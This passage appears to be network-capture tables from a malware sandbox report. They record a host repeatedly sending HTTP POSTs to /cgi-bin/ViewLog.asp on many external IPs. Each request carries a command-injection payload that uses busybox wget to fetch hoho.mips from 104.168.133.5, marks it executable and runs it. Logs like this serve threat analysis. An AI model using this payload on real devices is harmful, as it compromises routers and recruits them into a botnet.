/tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:05.670661926 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:07.974611044 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:12.582552910 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:21.542521000 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:39.974459887 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:16.838485956 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.13	45892	94.126.57.181	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:03.978511095 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:04.172755957 CET	558	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:16:04 GMT Server: Apache Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 52 69 63 68 69 65 73 74 61 20 69 6e 6f 70 70 6f 72 74 75 6e 61 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 52 69 63 68 69 65 73 74 61 20 69 6e 6f 70 70 6f 72 74 75 6e 61 3c 2f 48 31 3e 0a 4c 61 20 72 69 63 68 69 65 73 74 61 20 73 63 72 69 70 74 20 6e 6f 6e 20 c3 a8 20 76 61 6c 69 64 61 2e 20 20 4c 6f 20 73 63 72 69 70 74 20 6e 6f 6e 20 c3 a8 20 65 73 65 67 75 69 62 69 6c 65 2e 0a 3c 50 3e 49 6e 6f 6c 74 72 65 2c 20 65 72 72 6f 72 65 20 34 30 34 20 4e 6f 6e 20 74 72 6f 76 61 74 6f 0a 72 69 73 63 6f 6e 74 72 61 74 6f 20 64 75 72 61 6e 74 65 20 69 6c 20 74 65 6e 74 61 74 69 76 6f 20 64 69 20 75 74 69 6c 69 7a 7a 61 72 65 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 70 65 72 20 67 65 73 74 69 72 65 20 6c 61 20 72 69 63 68 69 65 73 74 61 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>400 Richiesta inopportuna</TITLE></HEAD><BODY><H1>Richiesta inopportuna</H1>La richiesta script non valida. Lo script non eseguibile.<P>Inoltre, errore 404 Non trovatoriscontrato durante il tentativo di utilizzare ErrorDocument per gestire la richiesta.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.13	43222	95.89.85.12	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:03.990746021 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.13	45680	95.183.109.242	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:04.812414885 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:05.051963091 CET	75	IN	HTTP/1.1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.13	37588	94.122.18.250	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:04.812494040 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.13	39110	62.29.10.232	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:04.812552929 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.13	40738	31.136.143.89	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:05.219868898 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:05.798621893 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:06.950545073 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:09.254566908 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:13.862623930 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:23.078504086 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:42.022419930 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:18.886327028 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.13	59284	85.247.7.207	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:05.252237082 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.13	37208	31.136.187.109	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:06.668447971 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:07.270682096 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:08.422544956 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:10.790566921 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:15.398559093 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:24.614497900 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
